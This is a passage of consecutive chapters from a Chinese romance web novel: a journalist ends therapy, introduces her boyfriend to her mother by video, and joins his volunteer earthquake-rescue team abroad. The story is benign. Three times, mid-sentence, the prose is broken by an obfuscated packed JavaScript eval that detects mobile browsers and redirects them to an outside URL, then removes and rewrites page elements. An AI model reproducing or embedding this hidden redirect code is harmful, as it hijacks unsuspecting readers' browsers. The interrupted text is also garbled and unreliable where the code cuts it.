“嗯,”黎叙闻说:“非常好,前所未有的好。” “是么,”林青淮跟着她轻笑起来:“说说?发生什么了?” 黎叙闻没回答他的问题,转而道:“我今天来,是跟你打声招呼,我觉得我们以后不用再见面了。” 林青淮总是焊在脸上的得体微笑,在这句话里猛地僵了一下。 但他很快便穿回了面具,依然柔声细语,话音里连点波动都听不到:“为什么呢?” 黎叙闻故意挑了一个模棱两可的说辞,刺激了他的反应,而后仔仔细细看着他的脸,甚至比当时观察吴檀时还要细致。 那一晃而过的僵硬,她自然看在眼里。 原来齐寻不是在乱吃醋,她想,他说的是真的。 后知后觉,她竟对眼前的人升起了一种复杂的歉疚。 “因为我找到了一个能保护我、包容我的人,所以我觉得没有必要再花钱解决心理问题,”黎叙闻一边笑着看他,一边手也不抖地下猛药:“齐寻是个特别好的人,我在他身边,完全不用担心任何。” 细细的圆珠笔在林青淮指尖来回碾转,他间不容瞬地盯着黎叙闻的眼睛。 小巧精致的咨询室里,慢慢地充斥了一种有如实质的审视。 黎叙闻每次来咨询都有这样的感觉,因为她的边界完全敞开,她总感到四面八方的空气中都充满了柔和的注视,让她放松,让她沉溺,让她不设防地说出所有感受和烦恼。 但今天不同,今天来自林青淮的目光,让她觉得悲伤。 “我注意到你的措辞跟原来相比,发生了很大的变化。”林青淮沉默了很久,终于开口:“一般来讲,人只有在说谎的时候,才会转变这么大。” 他目光沉沉地看着黎叙闻:“想跟我说说吗?” “我知道你在想什么,但我说的都是真的。”黎叙闻没有闪躲,直视他的眼睛:“一个好的爱人,抵得上一百个咨询师,这是你说过的,对吧?” 林青淮喉结几不可查地滚了滚:“……是的。” 他迅速舔了下嘴唇,继续道:“你先生我上次也见过,我并不认为他有那个能力,能承担你以后将要面对的情况。” “那谁有能力?”黎叙闻问:“你吗?” 林青淮蓦地顿住了。 他蜷在掌心的指尖微微内扣,搭在表面光滑的圆珠笔上,全都是汗。 过了大概十秒,他才堪堪接上她这句毫不客气、甚至称得上是质问的话:“谁都可以,但起码要心理健康——我只是不希望你受伤。” 黎叙闻立刻反唇相讥:“你们就说了几句话,大部分还都是无意义的争执,你就知道他心理不健康?” 林青淮苦笑:“如果这都看不出来,我就不要做这一行了吧。叙闻,我没有贬低他的意思。” 他重新握紧手里的笔,慢慢写下“结束咨询”四个字:“既然要结束,我们就需要回顾一下,你觉得我们咨询的目的,达到了吗?” “达到了吧,毕竟如果没有你的努力,我可能不会有勇气接受一段感情,”黎叙闻紧绷的脊背渐渐松下来:“也不会知道,那些你曾经给我画过的饼,描述过的好的爱情,原来都是真的。” 她目光真诚:“这一点上,我真心感谢你。” 林青淮麻木地写下了几个关键词,无声地出了口气,又道:“我是担心你的应激障碍,你确定已经缓解了吗?” 黎叙闻想了想,道:“我记得我们谈过这个问题,当时你说,它将作为我生命的底色,跟我永远共 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196867|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生,是吗?” “是的,早年的阴影都是如此。我们能做的,是一点一点减轻它的影响。当你的世界足够大、足够安全,阴影就不再是一个问题。” 黎叙闻眼睛有些酸胀,顺手抽出一张面巾纸。 她在这个房间里,曾经无数次痛苦地嚎啕大哭,而对面的人总是默默地承受着,被她一同拉进绝望的深渊,跟她分担一切承受不住的压力。 她真的因为这些陪伴,生出了一些面对未来的勇气。 “我觉得你说得对,”她说:“我后来的经历,也印证了这一点,但还有一点,是我自己都没有想到的——原来被爱不会变得坚强,去爱才会。” 黎叙闻想起在毛坯房里,齐寻躺在她身边的水泥地上,小心翼翼地触碰她的手背:“他不用心理健康,甚至不用强大,我不是经由他的保护去面对一切,而是因为我爱他、希望陪他长久地走下去,所以我会尽我所能抵抗一切创伤,直到我努力不动的那一天。” 她望着对面的人:“这也是你教给我的,只是我今天才明白。” 林青淮的心,跟他掌心里揉皱的纸一样潮湿。 在他勉力维持的冷静中间,一线荒谬的、疯狂的念头忽然涌现:如果那天他没有失态呢,如果那天他没有因为试探齐寻,而说出那些不得体的话,今天她的态度,会不会有所不同? 然而理智告诉他,不会的。 她爱一个人的样子,他也从未见过。 话说到这个份上,他已经没必要再解释或抗辩什么,说什么都只是徒增纠缠。 所以他点了点头:“我明白了,我收回我的担心,并且,”他停了停,继续道:“并且祝福你,叙闻。我相信以你的坚韧和能力,一定能过上你想要的生活。” 他低下头,镜片的反光掩住了他的眼神:“但如果,我是说如果,你承受不住压力,我希望你不要放弃心理咨询这条路。” 这时已经过了午后,日头一路西行,小房间渐渐凉下来,陷入一片徒有其表的亮色里。 黎叙闻望着他们投在墙上的冰凉的影子,说:“嗯,我明白,我一直都觉得你是个非常专业的咨询师……” “不,”林青淮忽然打断她:“我希望你重新找一个比我更称职、能让你受益更多的咨询师,不要怕,也不要嫌麻烦。我希望你放下之前的所有,然后不要回头地往前走。” 他抬起头,目光平静地望着她:“至于我,就跟你的过往一起停在这里了。” 黎叙闻怔怔地望着他,有什么无关情欲的东西,从她心底一股一股、倾山倒海地涌出来。 “不要哭了,叙闻。”林青淮宁静的面容上,闪过一丝极细的裂痕:“你的过往我替你守,你就往前走,不要回头。” …… 这一天,林青淮照例送黎叙闻到话剧中心门口,然后站定在阴影里,对她说:“回去吧,再见。” 黎叙闻往前走,一步迈进阳光里,又回头看他。 林青淮对她抬抬下巴:“去吧。” 黎叙闻也对他挥手,说:“再见。” 一转头,就看到插着兜靠在车上,沉着脸的齐寻。 她眼圈又红了。 齐寻找了半个小时,最后也没找到那半包年代久远的烟,烦得只能下车吹风。 眼见着她从里面出来,还黏黏糊糊跟林青淮挥手,本来拎起醋坛子准备喝,可黎叙闻一回头,看见她通红的眼眶,他又立刻心软了。 “闻闻,”他冲她伸出手:“怎么了?” 黎叙闻没有去牵,却直接一头扎进了他怀里,狠狠吸了吸鼻子。 难怪她的脚步声都那么悲伤,齐寻一边想,一边抱住她,轻轻揉她后脑:“难过了?” 黎叙闻仰起脸,鼻尖通红:“我以为你要生气。” 齐寻笑了:“本来准备生气的,姿势都摆好了,看你又成个哭包,就打算一会儿再生。” 黎叙闻破涕为笑:“你烦人。”她把脸埋在他怀里不起来,又含糊道:“没夸错你。” 这话听得齐寻来劲了:“夸了什么?跟谁夸的?跟那姓林的吗?” 黎叙闻在他衣服上蹭掉眼泪,想,他们现在是真正的家人了。 既然是家人,那就应该介绍给妈妈认识了。 她咬了下嘴唇,试探着问:“齐寻,你……” 说一半却犹豫起来,又不说了。 “怎么,我什么?” 黎叙闻迟疑地看着他:“你……想见我妈妈吗?” 一句话直接给齐寻干懵了。 见谁?见妈妈?哪个妈妈? 他反应了至少半分钟,才明白过来,黎叙闻这是在邀请他见家长了。 看他迟迟不动,黎叙闻又扎进他怀里:“果然太快了,没事,你没准备好的话,我们就……” “见,”齐寻智商回笼的第一秒立刻道:“见!” 98. 第 98 章 这件事自然不是黎叙闻一时兴起,她已经打了很久的算盘了。 小时候跟那个小男生走得近,黎策总会揶揄她:“又是哪家的臭小子啊,恋爱谈得怎么样了啊?” 她每每不受这一套,偏不害羞脸红:“怎么,带回来给你看看?” 这时候黎策就吃瘪了,只会摸摸鼻子:“……那也得谈得差不多再带啊……咱家的门也不是谁都能进的吧……” 那时候她十五六岁,恋爱什么的不当真,但牢记了一句话:得是认真的、严肃的、奔着结婚去的男朋友,才有资格上她家的门。 她这辈子恐怕不会有比齐寻更认真谈的男人了。 黎策他算是见过了,虽然是单方面的,但总归是个意思,钟郁青呢,人不在国内,要见也只能视频看看,聊上两句,完全没有毛脚女婿第一次上门的那种意义和氛围。 齐寻那边…… 他们俩也真是,凑一块都凑不出一对能见面的父母来。 但就算只是视频,也够齐寻紧张的了。 自从进了家门,关着客房门换衣服换了不止半个小时,等得黎叙闻都开始纳闷:“你那几件衣服换了几轮了?怎么这么久?” 客房门嚯地打开,齐寻还穿着今天去接她的那身衣服,面无表情:“现在出门买来得及吗?” 黎叙闻哭笑不得:“隔着上万公里和十二小时时差,她能清清楚楚看到你的脸就很不错了!” 不说还好,一说齐寻又去摸下巴:“我胡子刮干净了吗?我早上刮了吗?” 黎叙闻仰天长叹,懒得再跟他掰扯,反手直接拨了钟郁青的视频。 这下子齐寻终于老实了,乖乖坐在她身边。 说来也怪,往常钟郁青都是秒接视频的,这天偏偏响了将近半分钟,那边还是没接。 齐寻手心里已经全都是汗了,问她:“你跟她说了吗?” “说什么?”黎叙闻很莫名:“我给我妈打个电话还要提前报备?” “会不会太随便了!别吓着阿姨!”齐寻扣下她手机:“要不……” 这时候,听筒里传来一声模糊的:“喂?” 齐寻人都僵住了。 “闻闻?你那边天怎么黑了?”钟郁青在那边叫:“不是才三点多吗?” 黎叙闻扣着手机,眼看着齐寻前额冒起一层汗,自己竟然也紧张起来,手一抖,直接把电话挂了。 微信电话“叮”的一声,通话结束。 两个人都大大松了口气。 “也、也行吧,”黎叙闻欲盖弥彰的:“要不我跟她说说,说说再……” “对,就是,”齐寻咽了咽,道:“下次,咱们……” 黎叙闻手机忽然间铃声大作,微信电话界面,写着硕大的“?妈咪?”。 黎叙闻:“……” 齐寻:“……” 两人面面相觑,这时候连语言都多余了,黎叙闻眼神问,接么,齐寻回,真接啊? 黎叙闻深吸一口气,眉毛一横:谁怕谁孙子! 毅然决然接了电话。 视频一接通,那边的钟郁青满面笑容,看到这边的场景,先愣了一下,很快就又笑着问:“闻闻,这是谁呀?” 黎叙闻一开口差点咬掉自己舌头:“我、我男朋友,齐寻。” 说着一肘子捣到齐寻肚子上,她紧张的时候就容易没轻没重,这一下险些给他内脏移位。 齐寻闷不吭声挨了这一下,表情都没变,十分平稳道:“阿姨,您好,我叫齐寻,锦城人,现在在京屿做电影录音师,平时工作比较自由,有自己的录音棚,赚得还可以,在京屿有车有房没贷款。我跟黎叙闻是马总编介绍认识的,认识四个月了,经过了很长时间的彼此了解才决定在一起,我今天只是来她家里做客的,我们没有住在一起,一周见面三次,吃饭看电影……” 黎叙闻实在听不下去:“齐寻?齐寻!” 齐寻茫然地停下来,扭头看她:“嗯?” “你说贯口呢?”黎叙闻无奈道:“钟女士,你说句话啊,看给孩子吓得。” 钟郁青笑得不行:“我也得能插得进嘴啊。” 齐寻终于哑火,从耳根到脸到脖子,全都涨得通红。 钟郁青在那边隔着屏幕,仔仔细细地看齐寻,越看越觉得喜欢,又看看闻闻,发现女儿眼睛里全都是爱意。 那亮晶晶的爱意晃得她鼻子都酸了。 这些年她一直自责,没有给女儿选个更好的爸爸,会不会对婚姻、对男人都失去信心了? 闻闻性子又倔,又不会服软,这么些年也从没见她对谁认真过,钟郁青总是想,得再多赚一点钱,这样女儿就算一辈子都一个人过,应当也不会吃苦。 现在终于,终于。 “好,真好……”钟郁青哽咽的声音被遥远的电波微微扭曲:“真是……太好了。” 见妈妈很喜欢齐寻,黎叙闻终于放松下来,在齐寻耳边道:“我就说,怎么会有人不喜欢你?你到底紧张什么?” 齐寻肩膀还是耸着,后背的肌肉紧紧绷起来,连眼珠都不会动了。 黎叙闻笑道:“哪里好哇?具体夸夸嘛。” “哪儿都好,”钟郁青也笑:“长得帅,身材很好,很懂礼貌,也很真诚!” 齐寻嘴唇干得要裂开:“谢、谢谢阿姨!” 钟郁青闲聊似地又问:“我在这边做跨境电商,亚马逊有几家店铺。你爸爸妈妈还在锦城吗?是做什么的?” 黎叙闻立刻拧起眉:“妈!” 钟郁青不明所以:“怎么?” 齐寻按住黎叙闻,慢慢地说:“阿姨,我爸妈都已经不在了,锦城大地震的时候没的。不过您放心,我爸妈感情很好,那时候我也很大了……我一定会照顾好闻闻的。” 听到“锦城大地震”几个字,钟郁青的表情忽然像卡壳了一样,顿住不动了。 过了好半天,她才回过神来:“对不起啊小齐……” 齐寻抿了抿唇,才说:“没关系的,已经过去很多年了。” 黎叙闻有心把这页揭过去,撒娇似地道:“妈你叫什么小齐啊,像在叫你的小助理。” 钟郁青想了想,问:“那该叫什么?叫齐先生?太生分了吧,叫名字好像也怪严肃的。” 黎叙闻噗嗤一声:“叫他小名!” 钟郁青犹豫了下,试探道:“小名?寻寻?” 这两个字从听筒传过来,黎叙闻感到齐寻的身体蓦地一震,继而细细地颤抖起来。 他正失神地望着屏幕,好像透过手机,看到了什么许久未见的人。 黎叙闻立刻道:“妈,我们一会儿还有别的事,咱们改天再聊。”说完便匆匆挂了电话。 齐寻坐在她身边,一动不动,就像被抽走了魂似的。 太像了,钟郁青叫他“寻寻”的口吻,实在太像他妈妈了。 大概天底下有孩子的母亲,叫起小名来,都是这样柔软的、轻声的、充满爱意的,所以乍一听,真的一模一样。 毕竟妈妈的声音,他都已经快不记得了。 黎叙闻沉默地看了他一阵,伸手轻轻抱住他。 “我们已经是家人了,齐寻,”她抚着他粗硬的头发,轻声说:“我妈妈就是你妈妈。我努努力,早日让你正大光明地叫她,也跟她撒娇,行吗?” 齐寻在她怀里默然了很久,才终于呼出一口气,慢慢点了点头。 “嗯。” …… 平静甜蜜的日子像水一样流过,来的时候毫不吝啬,像开了水龙头似地哗哗地流,去的时候也不留恋,说关,瞬间就戛然而止。 十天后的深夜,各大媒体得到突发消息,在业已入秋的寒意里,纷纷播报来自远方的噩耗: “当地时间凌晨1时许,库萨中部发生7.6级地震,震源深度仅10公里,震中位于首都图兰以西30公里处。” “库萨地震发生12小时后,官方首次发布伤亡数据:截至目前,已确认至少3200人死亡,超过1万人受伤,另有数千人下落不明。” “库萨发生6.5级余震,死伤人数进一步攀升。因缺乏资源,救援进度缓慢。库萨总理呼吁各方伸出援手。据悉,震区中心仍缺少必要的搜救力量、医疗资源及重型机械。” 灾难发生后,国际社会积极响应,中方派出多支官方救援队伍,而微光救援队作为成熟的民间救援力量,也在征召之列。 夜色沉沉,齐寻坐在漆黑一片的客厅里,翻着群里的应征公告,迟迟没有动作。 纪士诚知道他的情况,之前他做指挥,都尽量不让他去震区救援,不仅仅是考虑到齐寻的承受能力,更是担心他在震区崩溃,会少一个救援劳力——那意味着一些本来能获救的人失去生还机会。 但国际救援不同,救援队里具备出国条件的人不多,而且地震救援尤其在乎时效性,这种情况下,再推三阻四,肯定不合时宜。 可现在,他有闻闻了。 她好不容易忘记一切, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204259|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他决不能让她再暴露在那种易被触发的环境下,别说带她去,最好连提都不要提起。 她这些年的挣扎和努力,不能又被他毁掉。 齐寻发了很久的呆,深深吸了口气,还是拨了纪士诚的电话。 纪士诚几乎瞬间接起,声音疲惫不堪:“齐寻?你……” “我能上。”他在纪士诚问出口之前就答:“我能上,但只有我一个人,闻闻不能去。” 纪士诚沉默了片刻:“我明白,我担心的是你。” 齐寻无声笑笑:“没什么可担心的,我一个大男人,要是还没她有勇气,那真是不要活了。” 纪士诚不想让齐寻冒险,但微光实在缺人,更不用说齐寻这种有经验、能扛事、遇事冷静的人。 “行,我们凌晨五点就出发,你把家里安顿好,尽快过来。” 齐寻收了线,起身要去收拾东西,刚一回头,就对上了黎叙闻审视的眼睛。 齐寻:“……” 怪他太投入,都没听见她起来。 这下好了,骗都骗不过去了。 他在夜灯幽幽亮起的薄光里欲言又止地看她。 “你不是要收东西么,”她靠在卧室门边,问:“去啊,来不及了。” “闻闻……” “去震区都要带什么?队里有的就别买了,来不及,”黎叙闻道:“你列个单子,我来下单,加急的话半个小时应该能到。” 齐寻眸光闪烁不定,大步过去,紧紧抱了她一下,说:“你在家等我,我会平安回来。” 黎叙闻不置可否,打开外卖软件,望着他。 “口罩多备一些,一次性内裤袜子两打,”齐寻不再纠结,开了灯一边拿箱子,一边列清单:“应急药物,肠胃、退烧、感冒,跌打损伤。” 黎叙闻不闪不避,手机大大方方地亮着,抬起头看他,齐寻见她表情有异,垂眼去看,见屏幕上所有的必需品,后面赫然写着一个“x2”。 齐寻扬起眉头愣了一瞬,随即深深叹了口气。 ……他到底多天真,才会相信黎叙闻真的没有小算盘,就安心给他收拾行李在家等他? 早该料到一定会有一场极限拉扯。 他手底下收衣服的动作不停,道:“闻闻,我不是要拦你……” 黎叙闻笑着问:“那你现在在干什么?” 齐寻无奈道:“在跟你摆事实讲道理——不是把你当负担,我只是担心你。到了震区,万一你不舒服了,那边什么都没有,可怎么办?” “那你就忍心让我在家,每天提心吊胆地等你。”黎叙闻沉着脸色:“震区没有信号,卫星电话是应急的,你肯定不会私用吧?那我怎么办?你知道我在京屿,每天不是在报社跟主编吵架,就是在家睡懒觉,你倒是放心了,那我呢?” 她连珠炮似地质问,问得齐寻后脑一片嗡然。 这些不但他没有想过,这么多年,也从来没人跟他说过。 “不止这些,你有没有受伤,会不会难过,有没有伤心,夜晚一个人的时候会不会睡不着,会不会被噩梦惊醒?”黎叙闻直直地凝视他:“今天如果你要去的是别处,我绝对不会坚持,但震区,我真的没办法放你一个人走。” 她视线在灯光下显得过于严肃,那里面有一只行将破土的怪兽,好像今天齐寻转身出门,她就要被它一口吞掉。 齐寻认得这种眼神,有一次他们去驰援消防,顺道接廖医生,他老婆送他出来,眼神和表情跟现在的黎叙闻一模一样。 他一下子没了办法。 干了八年救援,这是他第一次被人用这样的眼光注视,第一次感觉到自己的某个部分,已经牢牢绑在了这个地方。 无论他将去哪里,无论他能不能回来。 黎叙闻一瞬不瞬地望着他,平铺直叙:“齐寻,我们好不容易才有今天的。” 窗外夜色如墨,远方的晨曦远未浮现。 齐寻在这突兀的灯光里,默然地跟她对视,一吸气,感觉自己肺叶都在颤抖。 良久之后,他拿过黎叙闻的手机,呼吸仍不太稳:“你的卫生用品还有吗,也要带一些,还有消毒液。” 他认真回想以前出发前那些女队员们叽叽喳喳互相借的东西,全加购了一遍,付了钱,才又抬眼看她。 黎叙闻微微笑了,靠着门框,也安静地回视他。 那里面不再有恐惧了。 齐寻俯身亲了亲她的眼睛:“愣什么?去收拾东西,要出发了。” 99. 第 99 章 当地时间上午九点,微光救援队到达首都图兰机场,纪士诚和齐寻去总指挥部,接到本次救援任务——深入库萨边境城市塔拉维,同当地消防和军队,分区域各自救援。 接受任务和物资分配后,队长带队乘坐军用大卡,奔赴震区。 越靠近受灾中心,能走的路就越窄,整个城市如同被一面巨斧生生劈开,到处都是倒塌的建筑,和黢黑的、深不见底的裂隙。 离中心震区五公里的地方,浩浩荡荡的大卡终于在一处巨大塌陷前蜿蜒着停下——进不去了,再往里,得靠人力和摩托把物资一点点运进去。 黎叙闻从翻斗里跳下来,满世界的断壁残垣瞬间跳入她的眼睛。 倾塌的废墟堵在她眼前,从她脚下断裂的柏油路,一直扭曲着延伸到最远的天际。穹幕之下,被吞噬了一半的高楼寂静地耸立着,露出里面灰白和深黑的碎屑,拖着无数碎裂的玻璃和裸露的钢筋,静静地跟她对望。 一簇轻飘的、白色的尘埃,正慢慢从半空中落下,飘到她眼前,又轻轻落在她的掌心。 …… 经过两公里负重跋涉和紧锣密鼓的准备,微光大本营选在一处受损轻微的学校操场。 时间有限,两座充气帐篷率先拔地而起,发电机的轰鸣声盖过了纷杂的脚步声。医疗队正清点药品和急救箱,后勤组架设通讯设备,而搜救组分为AB两组,分别由纪士诚和齐寻带队。 “优先搜救人员密集场所——东侧医院,A组,由纪队长带队;西侧居民楼,B组,由……”齐寻微妙地停顿了下,看向制服整齐的队员们:“由我带队。” 队员们看向他的目光,没有掺杂任何质疑和不屑,没有一个人站出来说,你不是副队长了,你凭什么带队? 每个人都像之前一样,信任、热切、等待他的调配和命令。 齐寻无声地吸了口气,继续说:“先易后难,先外后内,先标记,后救援。吸取之前的教训,如遇外籍记者,立刻拒绝拍摄并上报。最后五分钟整顿,五分钟后,集合出发。” 话音一落,队员们立刻有序散开,检查各自的头灯、工具和物资,齐寻转身正要再多背两瓶水,就见阿咩急匆匆跑过来,见了他连招呼都顾不上打,直接道:“白蛇,闻姐以前有哮喘病史吗?” 齐寻眸光剧颤,耳边嗡的一声。 他来不及回答,拨开阿咩,快步赶到隔壁临时帐。 医疗组正有序忙碌着,他逡巡了一圈,才看见黎叙闻一个人缩在角落里,背对着人群,肩膀正不妙地快速起伏。 这样最不会引起别人注意,如果不是阿咩来找她,她大概就要这样独自硬撑到症状过去。 齐寻默不作声地站在她身后,透过淡青色的烟尘看见她正痛苦颤动着的睫毛,指尖几乎刺进掌心。 但他没有时间了。 他几步到她身后,伸手将她整个人圈住,轻声在她耳边道:“闻闻,是我。” 黎叙闻原本紧绷到近乎僵硬的身体,在触及到他气息的那一刻,陡然放松下来。 她这时候满脸都是汗,心跳如同一下强似一下的惊雷,口干舌燥喘得厉害,根本不敢回头,却下意识抓紧了他的袖子。 明明气都上不来了,她还要假装:“你、来干什么?” 齐寻直接上手,捂住她的眼睛:“回答我的问题:你是谁,做什么工作,今年多大,来这里干什么?” 黎叙闻就着他炙热的手掌,声音颤抖:“我是京屿商报记者黎叙闻,是微光救援队志愿者,今年26岁,来这里抗震救灾。” 这句话说完,她深吸一口气,竟真的稍稍好转了。 “时刻记得你的身份,闻闻,你不是十六岁,不是那个束手无策的孩子,你是调查记者。这里有无数人,在等你救他们的命。”齐寻仍遮着她的眼睛,语速极快:“还记不记得你在车祸现场看到大楼倒塌,然后就被触发了?这次也一样,你留在营地,白天不要出门,不要接触重症伤员,保护好自己,不要让我分心。” 黎叙闻大脑一片混沌,她想问他,为什么是十六岁?十六岁发生了什么?为什么是倒塌?你到底知道什么? 可她什么都没来得及问,急促的呼吸不断从她身体里带走气流,又涌入新的,让她眼前发花,根本不能言语。 齐寻低头亲了亲她的发顶:“我还有两分三十秒,要回去拿东西了。记住我的话,别倒下,我还要靠你撑呢。” 他包住她手掌的指头微微收紧,又迅速松开,哑声留下一句“等我回来”。 黎叙闻感觉身后一空,听见他笃定的脚步声渐渐远去了。 而她也在他残留的体温里,慢慢地找回了平静。 …… 等她终于重新投入工作时,齐寻已经带队,向着西侧居民楼进发。 路并不好走,队员门排成一整列纵队,后面踩着前面淌过的路线,在满目疮痍的路上小心行进。 也有艺高人胆大,不怎么小心的。 小熊拿着一丝信号都没有的手机,对着家里体脂秤的数据怀疑人生,盯着那一路走高的曲线半天,忽然按开手台的主频道:“阿咩,你忙完能不能帮我看看我行李,里面是不是有一叠盐焗鸡腿?” 阿咩大概正好得空,很快回他:“是啊,这一只得有半斤吧……你饿啦?” “还没到地方呢饿什么饿……”小熊视死如归:“充公吧。” 有其他人揶揄着加入对话:“我们熊哥这么大公无私?” 小熊哭笑不得的:“嗨呀我真服了,前天我就吃了二两米饭,真就二两,一上秤长了一斤,你们评评理,那八两到底哪儿来的?” 主频里大家笑成一片,纷纷损他喘口气都长肉,国家就该把他基因移植到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208920|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猪身上。 齐寻走在队伍最前,一边担心闻闻,一边淌路,无心理会这帮碎嘴子隔空嗑瓜子。 忽然有一个熟悉的声音在手台里响起来,带着他最喜欢的狡黠笑意:“小熊啊,你知道减肥最该戒什么吗?” 小熊乐的:“哦,闻姐有经验啊?最该戒啥呢?” 黎叙闻那边沙沙两声,笑道:“说谎。” 小熊委屈的抗议淹没在所有人的哄堂大笑里:“……闻姐!” 齐寻一个没忍住,也笑出声了。 刚好些就出来逗人,还是那么一针见血。 不愧是她。 他笑着屈指弹了下别在胸口的手台,稍稍放下了一直悬着的心。 此时队伍已经靠近居民楼外围,齐寻按住手台低头道:“接近核心位置,B组切私频,开始外围搜救。” 没想到这句更是炸了主频。 “我的妈刚刚那是谁啊?白蛇??” “我靠我不信,白蛇说话是这样的?这么温柔?” “白蛇白蛇我是老纪,你要被绑架了就扣两下,我带人去救你。” 一众不靠谱不走心的起哄里,闻闻带着笑的声音响起:“大家注意安全,大本营在等你们回家。” 齐寻弯了弯眼睛,轻轻嗯了声,切到了队内私频。 根据拿到的地图,居民楼外围是一片配套生活区,昔日精心构建的花园和店面已经成了一片乱石林立的冢。 不知道多少人对“幸福”的定义,随着这里化为了一片废墟。 B组迅速各归各位,检查工具包、配发测温仪,手套戴上两三层,划定各自责任区域后,齐寻道:“主倒面朝东,入口选在西侧,先扫外围。” 救援工作有条不紊展开,队员们分成几个小队,散落在受灾区域的各个角落,手台里间或响起几声询问,很快被人简短回复,除此之外,只有工具的声响和对幸存者的呼喊。 齐寻听见附近有响动,带人进入一片餐厅区域,稍稍回了下头,大山立刻会意上前,接过身后队友递上的金属支撑杆,三两下便做好了结构支撑。 他侧耳听了一阵,问:“是这儿吗?” “那边,声音闷。”齐寻一扬下巴:“开右边。” 后面站着个新来的妹子,一伸手拉响了电锯,齐寻冲小熊一摆头,小熊转身给她解释了两句,她便收起电锯,换了另一个健壮的男队员上来。 ——没有吊车,下面结构未知,现下要破开入口,只能靠手搬。 几人在水泥板旁各就各位,齐寻一声“来”,号子都不用,所有人同一时间一齐发力,生生将一小半还嵌在土里的水泥板掀开来。 呼地一声,四周烟尘四起,在灰白交叠的断层中央,露出一个奄奄一息的男人脏污的脸。 大山站得最近,看到人脸瞬间大喊:“有人!” 100. 第 100 章 发现幸存者是最激动的,医疗组来人试了试他的呼唤反应,男人幽幽转醒,之前那妹子见他没有大碍,一高兴,又把电锯拉响了。 男人一听,眼睛还没睁开就哭了,满嘴的土,眼泪在脸上冲出两片三角洲来:“别碰我的腿!求你们!” 小熊还在那乐呢:“你也别取代号了,以后就叫电锯妹得了。” 男人听不懂中文,就看一个身穿制服的队员笑着跟旁边的姑娘说着什么,以为他们在嘲笑自己,哭得更伤心了。 齐寻一巴掌拍在小熊后脑:“边儿去!”然后蹲下,拿布条把男人的眼睛蒙上:“不用担心,我们是专业救援队,会尽可能小心。” 安抚好伤员,齐寻开始评估现场,很快就得出结论:用手挖。 没办法,虽然没有重压,但伤员的腿已经没知觉了,不知道他是个什么姿势,埋得有多深,贸然上工具,很可能造成二次伤害。 这回分不了男女了,四五个队员跪在嶙峋的废墟上,膝盖只隔着薄薄的制服,戴着两层劳保手套,一点一点地清理掉碎石和砖块。 小熊刚刚惹得人家哭了,怪内疚的,这时候在伤者耳边说:“刚刚没在说你,我在调情,调情知道吗?” 喜提电锯妹一掌。 伤者破涕为笑,又不敢大声,只能喃喃地:“谢谢,谢谢你们。” 徒手清理了十五分钟后,伤者终于被完整挖了出来。 劫后余生的庆幸和后怕让他泣不成声,嘴里一边不停地道谢,一边语无伦次地祷告。 电锯妹第一次救人出来,激动得都哭了,抹着眼泪,用已经渗出血点的手跟他告别。 大山笑道:“你还行,比你熊哥强,他第一次救人的时候,追了救护车二里地。” 小熊在一边发出尖锐爆鸣:“行了行了别说了!” 电锯妹破涕为笑:“还是个性情中人吗?那白蛇呢?” 齐寻面无表情地扔给她一盒创可贴:“人没救回来,自己在ICU躺了三天,你纪队卸任书都写了好几版。” 他们拌嘴休整的功夫,早在旁边待命的医疗组早将伤者抬去后方初步治疗了。 一小时后,周边小队也陆续完成了外围搜救,齐寻留了两个人在原地继续搜索,自己带着B组大部队,继续向内侧居民楼靠近。 这片居民楼原本六层,现在上层结构已经坍塌,破碎地连成一片,只剩下三层斜斜地歪在一地的混凝土碎块中,淡黄色楼体中间,张着一道幽深的缝,像半张着的腭裂。 “无人机先上,”齐寻冲队伍后面招手:“扫描坍塌区域。” 队伍最后一个姑娘放飞了无人机,跑到队伍最前,把屏幕伸到齐寻眼前。 从半空望去,楼顶一片断壁残垣,混凝土楼板和各种钢筋、碎窗一起,寂静又嘈杂地堆在上面,好像底下的人一跺脚,所有时空的碎片就会倾泻而下。 “白蛇,你看这个楼……它是不是……”小熊盯着楼体背后的一棵树,伸手比划:“它是不是比刚才……” “是,”齐寻扫了一眼楼顶斜压着的楼板:“它在慢慢往下滑。” 所有队员脸色俱是一变。 “加快速度,生命探测器,声呐仪,摄像蛇管,同时上。”齐寻转身道:“所有人戴好安全帽,看好掩体,一旦有余震,立刻散开。” 声呐仪冲着破瓦颓垣源源不断发射声波信号,屏幕上返回一波又一波杂乱的、毫无规律的波形。 队员盯着仪器,皱眉道:“波形信号没反应,没判断出有生命迹象。” 齐寻把耳机线接入声呐主控台,调低滤波器,回传的声音里带着嘈杂无序的噪音鸣响,一圈圈在他耳边扩散。 